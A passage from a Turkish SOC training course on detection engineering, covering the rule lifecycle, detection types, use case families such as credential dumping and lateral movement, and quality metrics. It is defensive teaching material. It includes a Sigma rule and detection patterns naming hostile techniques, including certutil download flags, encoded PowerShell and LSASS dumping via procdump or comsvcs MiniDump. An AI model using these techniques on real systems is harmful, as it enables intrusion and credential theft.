condition: Alarmın ateşlenmesi için gereken koşul sayısı veya mantığı.
outcome: Detection sonucunda üretilecek ek değişkenleri, hesaplanmış değerleri veya risk skoru gibi bağlamsal çıktıları tanımlamak için kullanılır. Bu değerler expression ve aggregation mantığıyla hesaplanabilir.

Google SecOps kullanan ortamlarda YARA-L, hem built-in/curated detection mantığını anlamak hem de özel detection geliştirmek için önemlidir. Detection engineer bu yapıyı anlıyor olmalıdır; ancak öğrencinin YARA-L söz diziminin tüm detaylarını ezbere bilmesi bu eğitimin kapsamı dışındadır.

3. Detection Engineering Yaşam Döngüsünü Anlama

Detection engineering, bir tehdit davranışını kalıcı olarak yakalamak için kural geliştirme, test etme, canlıya alma, izleme ve gerektiğinde emekliye ayırma süreçlerini kapsayan disiplinli bir mühendislik pratiğidir. Rastgele kural yazmakla başlar gibi görünse de iyi yapılmış detection engineering bir hipotezden başlar ve ölçülebilir detection kalitesiyle sonuçlanır.

3.1 Detection Hypothesis ile Tespit Fikri Oluşturma

Her detection çalışması bir soruyla başlar: “Hangi saldırgan davranışını kalıcı olarak yakalamak istiyoruz?”

Bu soru olmadan yazılan kural ya çok geniş kapsamlı olup yüzlerce false positive üretir ya da çok dar kapsamlı olup sadece belirli bir araç versiyonunu yakalar ve hemen bypass edilir.

Hypothesis birkaç kaynaktan gelebilir:

Tehdit istihbaratı raporu: “Bu aktör grup persistence için run key kullanıyor.”

Olay sonrası öğrenme: “Geçen ayın olayında bu davranış tespit edilemedi; kural yazmamız gerekiyor.”

ATT&CK coverage analizi: “T1053 Scheduled Task için hiç detection’ımız yok.”

Threat hunting bulgusu: “Bu behavior pattern’i bir hunting sırasında bulduk; kural hâline getirmek gerekiyor.”

İyi bir hypothesis şu üç soruyu yanıtlar:

1. Ne aranıyor? Davranış mı, gösterge mi?
2. Hangi koşullarda anlamlı sayılır?
3. Bu davranış meşru olabilir mi?

3.2 Tehdit Davranışını Analiz Etme

Hypothesis oluşturulduktan sonra, yakalanmak istenen tehdit davranışı derinlemesine incelenir. Saldırganın amacı ne? Bu amaca ulaşmak için hangi araçları veya teknikleri kullanıyor? Bunu yaparken hangi sistem çağrılarını, process’leri, registry key’lerini, ağ bağlantılarını veya dosyaları kapsıyor?

Bu analiz saldırı araştırması değil; “bu davranış hangi observable (gözlemlenebilir) izleri bırakır?” sorusunu yanıtlama çalışmasıdır. Saldırgan certutil.exe kullanarak dosya indiriyorsa bu komutun izleri Windows process creation log’unda, komut satırı argümanlarında ve ağ bağlantısı event’inde görünebilir. Bunları bilmek, doğru log kaynağını ve doğru alanı hedefleyen bir kural yazmanın ön koşuludur.

3.3 Detection için Gerekli Veri Kaynaklarını Belirleme

Bir davranışı yakalamak için hangi log kaynağına, hangi alanlara ve hangi enrichment bilgisine ihtiyaç var? Bu soruyu yanıtlamadan kural yazmak, önce kural sonra veri yaklaşımına yol açar; kural yazılır, veri yoktur, kural hiç ateşlenmez ve yanlışlıkla “detection çalışıyor” varsayımı sürer.

Modül 2’de anlatılan use case bazlı veri ihtiyacı belirleme burada doğrudan devreye girer. Detection engineer her yeni kural için şu kontrol listesini işletmelidir:

Gerekli log kaynağı SIEM’e geliyor mu?
İlgili alanlar doğru parse ediliyor mu?
Bu alanlar için normalizasyon yapılmış mı?
Enrichment gerekli mi? Örneğin asset criticality veya user privilege bilgisi gerekiyor mu?

3.4 Detection Kuralı Geliştirme

Kural yazımı, detection hipotezinin seçilen platformun sorgu diline çevrilmesidir. Platform bağımsız bir yaklaşım için Sigma öne çıkar: Sigma, YAML tabanlı ve platform-agnostik bir detection kural formatıdır. Bir Sigma kuralı Splunk SPL’e, Microsoft Sentinel KQL’e, Elastic EQL’e veya QRadar AQL’e dönüştürülebilir; bu sayede detection mantığı platforma bağımlı kalmaz.

Sigma kuralı kavramsal yapısı:

 Sigma kuralı kavramsal yapısı:

title: Suspicious Certutil Usage for File Download
id: 00000000-0000-4000-8000-000000000000
status: experimental
description: Detects certutil used to download files, a common LOLBin abuse
author: SOC Training Team
date: 2026/05/01
logsource:
  category: process_creation
  product: windows
detection:
  selection_img:
    Image|endswith: '\certutil.exe'
  selection_args:
    CommandLine|contains:
      - '-urlcache'
      - '-split'
      - '-f'
  selection_url:
    CommandLine|contains:
      - 'http://'
      - 'https://'
  condition: selection_img and selection_args and selection_url
falsepositives:
  - Legitimate certificate management operations
level: medium
tags:
  - attack.defense_evasion
  - attack.t1218

Bu yapıyı okurken analist şunu görür: certutil.exe process’i command line alanında indirme amaçlı parametreler ve HTTP/HTTPS hedefi içeriyorsa alarm üretilsin. falsepositives alanı, meşru kullanımın nerede olabileceğini belirtir; tuning kararları buraya bakılarak verilir.

Production seviyesinde Sigma kuralı yazılırken id, author, date, modified, references gibi metadata alanlarının eklenmesi kural takibi ve changelog açısından önerilir.

Detection kuralı yazmak yalnızca kod meselesi değildir. İyi bir kural; amacını açıkça belirtir, false positive kaynağını öngörür, MITRE eşlemesini içerir ve hangi veri kaynağına ihtiyaç duyduğunu belirtir. Bu meta bilgiler olmadan kural bir “kara kutu” hâline gelir.

3.5 Detection Kuralını Test Etme

Kural production’a gönderilmeden önce test edilmelidir. Test üç boyutu kapsar:

Doğrulama: Kural gerçekten hedeflenen davranışı yakalıyor mu? Eğer kuralın hedeflediği davranışa dair geçmiş log örneği (sample) varsa, o loglar üzerinde kuralın ateşlenip ateşlenmediği kontrol edilir. Yoksa kontrollü simülasyon veya retrohunt ile doğrulama yapılır.

False positive analizi: Kural gerçek ortam verisine karşı çalıştırıldığında, özellikle meşru aktivite yoğun olan sistemlerde kaç alarm üretiyor? 100 alarm üretiyorsa ve bunların 95’i meşru ise kural tuning gerektiriyor demektir.

Veri eksikliği kontrolü: Kural command_line alanını sorguluyorsa ama bu alan SIEM’de null dönüyorsa kural sessizdir; test sırasında bu fark edilmelidir.

3.6 Detection Tuning ile Alarm Kalitesini Artırma

Tuning, bir kuralın false positive oranını düşürmek için yapılan kalibrasyondur. Tuning seçenekleri şunlardır:

Allowlist: Bilinen meşru davranışları kural kapsamından çıkarmak. Örneğin certutil.exe meşru olarak yalnızca PKI yönetim sunucusundan çalıştırılıyorsa, o host kuraldan muaf tutulabilir: hostname != "SRV-PKI01".

Threshold: Alarm üretimi için minimum sayı koşulu eklemek. “1 başarısız giriş değil, 10 başarısız giriş” gibi.

Suppression: Belirli bir koşul altında alarmın tekrar üretilmesini belirli süre bastırmak. Aynı kullanıcı-host kombinasyonu için son 1 saatte zaten alarm üretildiyse tekrar üretme.

Zaman penceresi: Anomalinin oluşabilmesi için gerekli zaman aralığını daraltmak veya genişletmek.

Asset criticality: Yalnızca kritik varlıklarda tetiklenmesini sağlamak veya kritik varlıklarda daha düşük eşik kullanmak.

Tuning kararları her zaman bir tradeoff içerir: false positive’i düşürmeye çalışırken false negative riski artar. Bu nedenle her tuning kararı belgelenmeli ve periyodik olarak gözden geçirilmelidir.

3.7 Detection Kuralını Canlı Ortama Alma

Production’a alma (deployment) sürecinde şu adımlar uygulanmalıdır:

Önce kural “shadow mode” veya yalnızca gözlem modunda çalıştırılır. Alarm görünür ama SOC kuyruğuna düşmez; böylece false positive oranı gözlemlenebilir.

Ardından kural SOC kuyruğuna alınır; ancak ilk hafta için özel izleme uygulanır.

Kural için bir sahip (owner) atanır: bu kişi kuralın amacından, veri gereksiniminden ve tuning geçmişinden sorumludur.

Değişiklik kaydı (changelog) tutulur: ne zaman üretildi, kim yazdı, hangi threat’i hedefliyor, hangi Sigma ID veya MITRE tekniğiyle eşleşiyor?

3.8 Detection Performansını Takip Etme

Bir kural production’a alındıktan sonra yaşayan bir varlık hâline gelir; bakımı gerekir. Periyodik olarak şu sorular sorulmalıdır:

Bu kural son 30 günde kaç alarm üretti?
Bunların kaçı true positive, kaçı false positive olarak kapandı?
Alarm hacminde anormal düşüş var mı? Veri kaynağı bozulmuş olabilir.
Bu kural hâlâ hedeflediği tehdit için geçerli mi? Saldırgan teknik değiştirdi mi?
Coverage’a katkısı nedir?

Bu soruları yanıtlamak için kural düzeyinde metrik tutulması gerekir: her alarm kapandığında false positive mi, true positive mi olduğunun case management sistemine işlenmesi ve bu verinin periyodik olarak raporlanması gerekir.

3.9 Artık Değer Üretmeyen Kuralları Emekliye Ayırma

Sonsuz sayıda kural tutan bir SIEM, bakımı imkânsız, analiz kalitesi düşük ve alarm gürültüsü yüksek bir ortama dönüşür. Ancak emekliye ayırma kriterleri kurumun tehdit modeli ve risk iştahına göre belirlenmelidir.

Son 90 günde hiç true positive üretmemiş kural veya son 30 günde alarm hacminin çok büyük kısmı false positive olan kural inceleme sebebidir; fakat bu tek başına otomatik emeklilik kararı değildir. Bazı yüksek kritik ama nadir görülen tehditler için bir kuralın uzun süre true positive üretmemesi normaldir. Örneğin destructive malware, cloud root account abuse veya kritik IAM değişiklikleri nadir görülür ama tespit edilmesi çok önemlidir.

Emekliye ayırma değerlendirmesinde şu sorular sorulmalıdır:

Kuralın hedeflediği teknik hâlâ kurum için geçerli mi?
Aynı coverage’ı daha iyi sağlayan başka bir kural var mı?
Kuralın kullandığı veri kaynağı hâlâ mevcut ve sağlıklı mı?
False positive oranı tuning ile azaltılabilir mi?
Kuralı devre dışı bırakmak hangi detection gap’i oluşturur?

Emekliye ayırma, silmek anlamına gelmez. Kural bir arşiv veya “disabled” durumuna alınır; neden devre dışı bırakıldığı changelog’a işlenir. Gerektiğinde geri aktifleştirilebilir.

4. SOC’ta Kullanılan Detection Kural Türleri

4.1 Eşik Tabanlı Tespit: Threshold-based Detection

Threshold-based detection, belirli bir sayısal eşiğin aşılması durumunda alarm üretir. Mantığı basittir: tek bir event anlamlı olmayabilir, ama aynı event’in kısa sürede çok sayıda gerçekleşmesi bir davranış örüntüsüne işaret eder.

Yaygın örnekler:

10 dakika içinde 5 farklı kullanıcı hesabına yönelik başarısız authentication: password spraying sinyali olabilir.
1 saatte aynı hedefe 50’den fazla firewall deny: tarama veya DoS girişimi olabilir.
24 saatte tek kullanıcıdan normal dışı yüksek hacimde dış ağa veri transferi: exfiltration sinyali olabilir.
Threshold değerlerinin kalibre edilmesi gerekir. Kurumun normal aktivite hacmi bilinmeden yazılan bir eşik değeri çok düşükse yüzlerce false positive, çok yüksekse gerçek saldırıyı kaçıran false negative üretir.

4.2 Korelasyon Tabanlı Tespit: Correlation-based Detection

Correlation, farklı kaynaklardan veya farklı alarm türlerinden gelen event’lerin birlikte değerlendirilmesiyle daha anlamlı bir sinyal üretme yaklaşımıdır. Tekil kaynaklardan bakıldığında her biri zararsız görünen event’ler birleştiğinde yüksek öncelikli bir tablo ortaya çıkabilir.

Örnek: Bir kullanıcı VPN’den başarısız giriş yaptı (alarm 1, low severity) + ardından başarılı giriş yaptı (alarm 2, düşük öncelikli) + hemen ardından yeni bir scheduled task oluşturdu (alarm 3, medium). Bu üç event ayrı ayrı ele alındığında önemsiz görünebilir; korelasyon kuralı bunları aynı kullanıcı üzerinde birleştirince “VPN brute force sonrası persistence kurma girişimi” tablosu oluşur.

Correlation kuralları yazımı daha karmaşıktır; hangi event’lerin birleştirileceğine, hangi süre penceresi içinde gerçekleşmesi gerektiğine ve hangi ortak alanın bağlantı noktası olacağına karar vermek gerekir. Bu karmaşıklık bakım maliyetini de artırır.

4.3 Sıralı Olay Tabanlı Tespit: Sequence-based Detection

Sequence-based detection, correlation’ın bir adım ötesidir: olayların yalnızca birlikte değil belirli bir sırayla gerçekleşmesini koşul olarak tanımlar. EQL’in sequence operatörü bu yaklaşımın en net örneklerinden biridir.

Mantık şudur: Önce A olur, sonra B olur, bu sıra belirli süre içinde gerçekleşir. “Önce yeni kullanıcı oluşturuldu, ardından o kullanıcı admin grubuna eklendi, ardından ilk RDP oturumu açıldı” gibi bir sıra; her adım ayrı ayrı meşru görünse de zincir saldırgan activity pattern’ini açıkça gösterir.

Sequence-based detection, yüksek precision (düşük false positive) sağlayabilir; çünkü belirli bir sıranın meşru aktivite sırasında tesadüfen oluşması düşük ihtimaldir. Ancak her adımın SIEM’e gelmesi gerekir; araya girecek bir log eksikliği sequence’i koparabilir.

4.4 Nadir Davranış Tabanlı Tespit: Rarity-based Detection

Rarity-based detection, kurumun ortamında nadir görülen komutları, process’leri, user-agent’ları, ağ bağlantılarını veya kullanıcı davranışlarını hedefler. Temel varsayım şudur: nadir görülen şey ilgi çekicidir.

Bu yaklaşımın gücü, IOC veya bilinen saldırı imzası gerektirmemesidir. Ortamda hiç kimse mshta.exe kullanmıyorsa ve biri kullanmaya başladıysa bu davranış araştırmaya değer hâle gelir; mshta.exe kötüye kullanıldığı bilinmese bile.

Rarity tabanlı detection, bilinen IOC’ye bağlı kalmadan araştırmaya değer davranışları yüzeye çıkarabilir. Bu nedenle bilinmeyen veya imzasız tehditleri fark etmede faydalıdır; ancak tek başına kesin tehdit tespiti değil, bağlamla doğrulanması gereken hunting/triaj sinyali olarak kullanılmalıdır.

Dezavantajı ise false positive potansiyelidir: nadir olması zararlı olduğu anlamına gelmez. Yeni bir uygulama dağıtıldığında, yeni bir IT aracı kullanılmaya başlandığında veya yeni bir çalışan alındığında nadir görülen behavior sayısı artar. Bu nedenle rarity tabanlı alarmlar her zaman bağlam gerektiren araştırma sinyalleridir; doğrudan yüksek öncelikli alarm olarak işaretlenmemelidir.

4.5 Anomali Tabanlı Tespit: Anomaly-based Detection

Anomaly-based detection, bir kullanıcının, sistemin veya ağ bağlantısının “normal” davranışından sapmasını tespit eder. Normalin ne olduğunu belirlemek için istatistiksel modeller veya makine öğrenmesi kullanılabilir; bu yaklaşım UEBA (User and Entity Behavior Analytics) olarak da bilinir.

SOC perspektifinden bu yaklaşım güçlüdür çünkü saldırgan davranışının imzasını değil, normalden sapmasını yakalar. Bir kullanıcı her gün saat 09:00-18:00 arası Türkiye’den giriş yapıyorsa ve bir gece 02:00’da Singapur’dan giriş yapılırsa bu anomalidir; hangi araçla yapıldığı bilinmese bile.

Anomali tabanlı detection birkaç zorluk içerir. Baseline oluşturma süresi kullanılan UEBA/anomali modeli, veri hacmi, davranış türü ve kurumun çalışma düzenine göre değişir. Bazı modeller günler içinde ilk sonuçları üretirken, daha güvenilir davranış profili için haftalarca gözlem gerekebilir. Mevsimsel değişiklikler veya organizasyonel değişiklikler baseline’ı bozabilir; false positive oranı başlangıçta yüksek olabilir. Bu nedenle anomali tespiti genellikle diğer detection türleriyle birlikte kullanılır; tek başına yüksek öncelikli alarm üretmek yerine risk skoru artırmak için kullanılabilir.

4.6 Davranış Tabanlı Tespit: Behavior-based Detection

Behavior-based detection, belirli bir araç hash’ini veya belirli bir IP adresini değil; saldırganın aracı ne olursa olsun sergilediği davranış örüntüsünü yakalar. Pyramid of Pain çerçevesinde bu yaklaşım daha dayanıklı tespit katmanlarına karşılık gelir: saldırgan araç değiştirse, hash değişse, IP değişse bile davranış örüntüsü benzer kalıyorsa alarm üretilir.

Örnek: powershell.exe -EncodedCommand kullanımı davranışsal bir göstergedir. Saldırganın hangi kodu çalıştırdığından bağımsız olarak PowerShell’in base64 encoded komut alması meşru ama dikkat gerektiren bir davranıştır. Behavior-based kural, komutun yalnızca içeriğine değil komutun yapısına da bakar.

Analist Yorumu: Behavior tabanlı detection yazmak, “zararlı yazılım X’in MD5 hash’i şudur” demekten çok daha zordur; ama daha dayanıklıdır. Saldırgan hash değiştirebilir, IP değiştirebilir; ancak aynı hedefe ulaşmak için belirli davranış örüntülerini tekrarlamak zorunda kalabilir.

4.7 Risk Tabanlı Tespit: Risk-based Detection

Risk-based detection, tekil düşük öncelikli sinyallerin bir risk skoru üzerinde birleştirilmesiyle anlamlı önceliklendirme yapılması yaklaşımıdır. Hiçbiri tek başına alarm üretmeyecek kadar zayıf olan sinyaller, belirli bir kullanıcı veya varlık üzerinde yığıldığında yüksek risk skoru oluşturur ve bu tetikleyici olabilir.

Örnek, testuser hesabı için risk skoru:

Sinyal / Anomali Türü	Risk Puanı	Analitik Gerekçe
Farklı ülkeden giriş denemesi	+20	Coğrafi imkansızlık veya alışılmadık lokasyon; kimlik hırsızlığına işaret edebilir.
Başarısız MFA	+30	Parolanın ele geçirildiğini ancak ikinci katmanda takılındığını veya MFA yorgunluğu (fatigue) saldırısını gösterir.
Nadir domain’e DNS sorgusu	+15	Düşük itibarlı veya yeni kaydedilmiş bir alan adına erişim; C2 (Komuta Kontrol) trafiği belirtisi olabilir.
Kritik sunucuya RDP bağlantısı	+35	Yüksek değerli varlıklara (Crown Jewels) yapılan uzaktan erişim; yanal yayılma riski taşır.
TOPLAM	100	Eşik Değer (Threshold) Aşıldı: Kritik Seviye Alarm.

Toplam risk skoru kurumun belirlediği eşik değerini aşarsa high risk alarm üretilebilir. Bu eşik; kullanıcı rolü, asset criticality, sinyal güvenilirliği, zaman penceresi ve risk skorunun zamanla düşüp düşmediği gibi faktörlere göre kalibre edilmelidir.

Her olay ayrı ayrı izlendiğinde tek başına alarm üretmeyebilir; ama risk skoru birikmesi SOC’un dikkatini çekebilir. Bu yaklaşım özellikle low-and-slow saldırılarda, yani düşük profilli uzun süreli saldırılarda etkilidir.

5. SOC İçin Temel Detection Use Case Aileleri

SOC’un her kurumda yönetmesi gereken temel tespit aileleri vardır. Bu aileleri bilmek; hem kural yazmak hem de alarm geldiğinde neye baktığını anlamak için gereklidir.

5.1 Meşru Sistem Araçlarının Kötüye Kullanımını Tespit Etme: Living off the Land

Living off the Land (LotL) saldırıları, işletim sisteminde zaten mevcut olan araçları kötüye kullanır: powershell.exe, wscript.exe, mshta.exe, rundll32.exe, regsvr32.exe, certutil.exe, bitsadmin.exe. Bu araçlar meşru IT operasyonlarında da kullanıldığından imza tabanlı tespit tek başına yeterli değildir; aracın kendisi kötü değil, kullanım bağlamı kötüdür.

SOC’un bu aileyi tespiti için odaklanması gereken sinyaller şunlardır:

command_line içinde base64 encode edilmiş string varlığı: powershell -enc <base64>
Beklenmedik bir parent’tan çalıştırılma: winword.exe → cmd.exe → powershell.exe
Araçların beklenmedik dizinden çalıştırılması: \Temp\ veya \AppData\ altından çalıştırılan şüpheli binary’ler
Network bağlantısı kuran araçlar: mshta.exe veya bitsadmin.exe aracının dış IP’ye bağlanması
dosya indirme için kötüye kullanılabilen klasik LotL tekniği: certutil.exe -urlcache -split -f kombinasyonu

False positive ihtimali vardır. IT ekipleri bazen meşru amaçlarla bu araçları kullanabilir. Bir sistem yöneticisinin certutil ile sertifika kontrolü yapması, PowerShell ile remote script çalıştırması meşru olabilir. Bu nedenle alert; host’un rolü, kullanıcı tipi, çalışma saati, parent process ve command line içeriğiyle birlikte değerlendirilmelidir.

5.2 Kimlik Bilgisi Ele Geçirme Davranışlarını Tespit Etme: Credential Dumping

Credential dumping, saldırganın bellekten veya diskten kimlik bilgilerini çıkarmaya çalıştığı tekniktir. En yaygın hedef LSASS (Local Security Authority Subsystem Service) process’idir; bu process bellekte kullanıcı credential materyallerini geçici olarak tutabilir. Saldırgan bu process’e erişerek hash veya credential materyali elde etmeye çalışabilir.

SOC açısından tespit sinyalleri:

EDR / Sysmon Process Access: Sysmon Event ID 10 (Process Access), bir process’in başka bir process’e erişim talebini raporlar. TargetImage = lsass.exe, yüksek erişim hakları, call trace ve process bağlamı credential dumping açısından kritik sinyallerdir.

Windows Security Event ID 4656: Uygun audit yapılandırması varsa LSASS gibi hassas objelere erişim denemelerinde destekleyici sinyal sağlayabilir. Ancak bu event’in anlamlı olması için object access auditing, SACL veya uygun audit konfigürasyonu gerekir.

EDR alarmı: Çoğu modern EDR, LSASS erişimini behavioral detection ile algılar ve detection_name alanında Credential Dump Attempt veya benzeri bir etiketle raporlar.

Process creation: procdump.exe lsass, comsvcs.dll MiniDump komutu veya Mimikatz benzeri araç adları process creation loglarında görülebilir.

Güvenli Alışkanlık: Credential dumping tespitinde false positive de olabilir. Bazı güvenlik araçları ve AV/EDR ürünleri meşru amaçlarla LSASS’a erişebilir. EDR uyarısı geldiğinde GrantedAccess değeri incelenmeli; düşük yetkili read-only erişim ile tam erişim isteği arasında fark olduğu unutulmamalıdır.

5.3 Çoklu Kullanıcıya Parola Denemesi Tespiti: Password Spraying

Password spraying, az sayıda parola — genellikle yalnızca bir veya iki — ile çok sayıda kullanıcı hesabına giriş denemesi yapma tekniğidir. Amacı hesap kilitleme politikasını tetiklememektir: eğer 5 başarısız denemeden sonra hesap kilitleniyorsa, 4 deneme yapılır ve diğer hesaba geçilir.

Authentication loglarında şu pattern aranır: event_id=4625 (başarısız giriş) ile birlikte kısa sürede çok sayıda farklı TargetAccount değeri, ama düşük sayıda kaynak IP. Brute force ile ayrımı şudur: brute force tek hesaba çok sayıda deneme yapar; password spraying çok hesaba az deneme yapar.

Tespit yaklaşımı (kavramsal):

Son 10 dakikada aynı kaynak IP'den:
- Başarısız giriş > 10
- Farklı hedef hesap sayısı > 8
- Hesap başına deneme < 3
→ Password spraying şüphesi

Cloud kimlik sistemlerinde (Entra ID, Okta) bu pattern, başarısız oturum açma loglarından okunabilir: invalid credentials hata kodları, UserPrincipalName çeşitliliği yüksek, IpAddress aynı.

5.4 Yoğun Parola Denemesi Tespiti: Brute Force

Brute force, tek bir hesaba veya servise çok sayıda parola denemesi yapılmasıdır. RDP, SSH, web uygulamaları, e-posta sunucuları ve VPN servisleri yaygın hedeflerdir.

SOC’ta analiz edilecek alanlar şunlardır:

src_ip (nereden geliyor?),
dst_ip veya service (hangi servise?),
username (hangi hesabı hedef alıyor?),
başarısız giriş sayısı ve hızı (dakikada kaç deneme?),
ardından başarılı giriş geldi mi?

Son soru kritiktir: başarısız denemeler sonrası başarılı giriş, compromise’ın gerçekleştiğine işaret edebilir.

False positive ihtimali vardır: Kullanıcının parolasını unutarak tekrar tekrar denemesi, parola yöneticisinin yanlış kayıtlı parola göndermesi veya otomatik bir servisin eski parola göndermesi brute force gibi görünebilir. src_ip kullanıcının kendi IP’si mi, kurumsal VPN mi, dış IP mi kontrol edilmelidir.

5.5 Ağ İçinde Yatay Hareket Tespiti: Lateral Movement

Lateral movement, saldırganın ağda erişim sağladıktan sonra diğer sistemlere yayılma sürecidir. Yaygın teknikler: RDP ile uzak oturum açma, SMB üzerinden dosya kopyalama, WinRM ile uzak komut çalıştırma, PsExec veya benzeri araçlarla remote service oluşturma.

SOC’ta üç veri kaynağının kombinasyonu gereklidir:

Endpoint logları (Sysmon / EDR): Uzak bağlantı kuran process’ler; net use, psexec, wmic, winrm kullanımı.

Identity logları: Logon Type 3 (network logon) veya Type 10 (remote interactive) oturum açmaları; özellikle admin hesaplarının normalin dışında host’lara bağlanması.

Network logları: SMB trafiği (445. port), RDP trafiği (3389. port), WinRM (5985/5986. port) üzerinden iç ağ hareketleri. Kaynak ve hedef her ikisi de iç IP’yse lateral movement senaryosuna işaret edebilir.

Tek bir RDP bağlantısı her zaman lateral movement değildir. Anlamlı sinyal şudur: normalde RDP kullanmayan bir kullanıcının birden fazla sisteme kısa sürede RDP yapması veya servis hesabının interaktif oturum açması.

5.6 Kalıcılık Sağlama Davranışlarını Tespit Etme: Persistence

Persistence, saldırganın sistemde yeniden başlatma, credential değişikliği veya oturum kapanmasından sonra da erişimini sürdürmek için uyguladığı tekniktir. SOC açısından tespit edilmesi en kritik aşamalardan biridir çünkü persistence kurulduktan sonra saldırgan uzun süre ortamda kalabilir.

Persistence Tekniği	Log Kaynağı	İlgili Kritik Alanlar
Scheduled Task Oluşturma	Windows Security Event ID 4698	Task Name, Creator (Oluşturan), Task Content / XML (Çalıştırılacak komut/script).
Servis Oluşturma	Windows System Event ID 7045 / Service Control Manager	Service Name, Binary Path (Yürütülebilir dosya yolu), Service Account.
Registry Run Key Ekleme	Sysmon Event ID 13 (Value Set)	Registry Path, Data (Hangi anahtara hangi değerin yazıldığı).
Startup Folder Değişikliği	Sysmon Event ID 11 (File Create)	File Path: `\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup`
Yeni Hesap Oluşturma	Windows Security Event ID 4720	Account Name, Creator, Target SID.
Cloud Persistence (IAM)	CloudTrail / Azure Activity / Entra ID / GCP Audit	Event Name (CreateRole/UpdatePolicy), User Identity, Request Parameters.

5.7 Yetki Yükseltme Davranışlarını Tespit Etme: Privilege Escalation

Privilege escalation, saldırganın mevcut yetkisinden daha yüksek yetkiye ulaşma girişimidir. Yaygın yollar şunlardır: yetkisiz grup üyeliği değişikliği, token manipulation, UAC bypass veya ayrıcalıklı process’e injection.

SOC sinyalleri:

Event ID 4728 / 4732 / 4756: Güvenlik grubuna üye ekleme. Özellikle Domain Admins veya Local Administrators grubuna beklenmedik bir hesabın eklenmesi kritik alarmlanmalıdır.

Event ID 4672: Ayrıcalıklı oturum açma. Yüksek yetkili ayrıcalıkların kullanıldığını gösterir; kullanıcı bu yetkiyi normalde kullanıyor muydu?

Event ID 4624 logon type ile birlikte değerlendirme: Bir hesabın sahip olmaması gereken yetkilerle oturum açması veya beklenmeyen sistemde privilege kullanması.

Analist Yorumu: Privilege escalation alarmları genellikle diğer alarmlara eşlik eder. Lateral movement sonrası privilege escalation, saldırının hangi noktada olduğunu gösterir. Birbirinden bağımsız görünen bu iki alarm türünü aynı kullanıcı veya host üzerinde birlikte görmek investigation kapsamını anında genişletmelidir.

5.8 Veri Sızdırma Sinyallerini Tespit Etme: Data Exfiltration

Exfiltration, saldırganın topladığı veriyi kurumun dışına çıkardığı aşamadır. SOC açısından tespiti güçtür çünkü veri transferi meşru iş aktivitesine karışabilir.

Tespit odaklı sinyaller şunlardır:

Anormal veri hacmi: Bir kullanıcı veya sistem normalde günde 50 MB dışarı çıkarıyorsa, bir günde 5 GB çıkarıyorsa firewall, proxy veya cloud loglarındaki outbound hacim alanlarından bu fark edilebilir.

Nadir hedef domain/IP: Daha önce hiç görülmemiş bir cloud storage domain’ine veya nadir bir domain’e yüksek hacimli transfer şüphe uyandırır.

Sıkıştırılmış dosya transferi: 7z, zip, rar gibi formatların oluşturulması ve ardından dış bir hedefe gönderilmesi; Sysmon file create ve network connection event’leri birlikte değerlendirilir.

DNS exfiltration: Veri, DNS sorgu alanına encode edilerek sızdırılabilir; çok uzun ve yüksek entropy’li subdomain’ler bu tekniğin izini taşıyabilir.

5.9 Güvenlik Kontrollerinden Kaçınma Davranışlarını Tespit Etme: Defense Evasion

Defense evasion, saldırganın tespit edilmekten kaçınmak için uyguladığı teknikler bütünüdür. SOC’un görünürlüğünü doğrudan hedef alır.

Tespit sinyalleri:

Log silme: Event ID 1102 (Security audit log temizlendi) veya Event ID 104 (System log temizlendi). Bu event’lerin production ortamında görülmesi yüksek öncelikli incelenmelidir. Meşru bakım veya test senaryoları istisna olabilir; ancak Security audit log temizliği varsayılan olarak şüpheli kabul edilmeli ve kullanıcı, host, zaman, değişiklik kaydı ve endpoint bağlamıyla doğrulanmalıdır.

Güvenlik servislerini durdurma: sc stop komutları, güvenlik servislerinin devre dışı bırakılması veya Defender ayarlarının değiştirilmesi; Sysmon process creation, Windows Defender Operational logları, EDR telemetrisi ve merkezi güvenlik platformu uyarılarıyla birlikte izlenmelidir.

Obfuscation: PowerShell’de IEX, Invoke-Expression, .Download gibi ifadeler veya base64 encoded komut yapıları kaçınma girişimi olabilir. Script Block Logging aktifse PowerShell’in işlediği script block içerikleri kaydedilir. Birçok encoded veya obfuscated komut daha okunabilir hâlde görülebilir; ancak her obfuscation tekniğinin tamamen çözümlenmiş biçimde loglanacağı varsayılmamalıdır. Bu nedenle Event ID 4104 kayıtları command line, AMSI, EDR ve process tree verisiyle birlikte değerlendirilmelidir.

Process injection: Bir process’in başka bir process’in bellek alanında thread oluşturması veya process access davranışları; Sysmon Event ID 8 (CreateRemoteThread), Sysmon Event ID 10 (Process Access) ve EDR process injection alarmları bu sinyali taşır.

6. Detection Kalitesini Ölçme ve İyileştirme

6.1 Yanlış Pozitif Alarmı Anlama: False Positive

False positive, bir güvenlik kuralının meşru veya beklenen bir davranışı tehdit olarak işaretlemesidir. Analist vakayı inceleyip “bu zararsız” diyerek kapatır. Tek tek false positive’ler küçük bir sorun gibi görünse de toplamda SOC’un en büyük operasyonel sorunlarından biri hâline gelebilir: analist zamanı tükenir, gerçek tehditler kaçırılabilir ve alarm yorgunluğu başlar.

False positive kaynakları sınıflandırılabilir:

IT aktivitesi: sistem yöneticilerinin meşru araç kullanımı.

Otomasyon: monitoring araçları, backup scriptleri, CI/CD pipeline’ları.

Eğitim ve test: pentest, güvenlik ekibinin kontrollü testleri.

Yanlış konfigürasyon: kuralın çok geniş yazılmış olması.

Unutma: Her false positive bir tuning fırsatıdır.

6.2 Kaçırılan Tehdidi Anlama: False Negative

False negative, gerçek tehdit davranışının tespit edilememesidir. Bu sessiz ve tehlikeli bir başarısızlıktır: SOC alarm almaz, alarm almadığı için araştırma yapmaz ve saldırgan fark edilmeden devam eder.

False negative kaynakları:

Eksik log: gerekli telemetri toplanmıyor.

Zayıf kural: davranışın yalnızca belirli bir varyantını yakalıyor.

Veri kalitesi sorunu: parsing hatası nedeniyle alan boş geliyor.

Saldırgan adaptasyonu: saldırgan kuraldan haberdar olarak tekniğini değiştirmiş.

False negative’i fark etmek, false positive’e kıyasla çok daha zordur; çünkü alarm yoktur. Threat hunting ve purple team çalışmaları bu boşlukları ortaya çıkarmak için kullanılır.

6.3 Detection Coverage ile Kapsama Alanını Ölçme

Detection coverage, kurumun hangi tehdit tekniklerine karşı detection kapasitesi olduğunun ölçülmesidir. Bunun için yaygın yaklaşım MITRE ATT&CK çerçevesi üzerinden haritalama yapmaktır: kurumun sahip olduğu her detection kuralı ATT&CK tekniğiyle eşleştirilir; hangi tekniklerin kapsandığı, hangilerinin yalnızca kısmen kapsandığı ve hangilerinin hiç kapsanmadığı görülür.

Coverage analizi üç boyutu değerlendirir:

1. Detection kural varlığı: kural var mı?

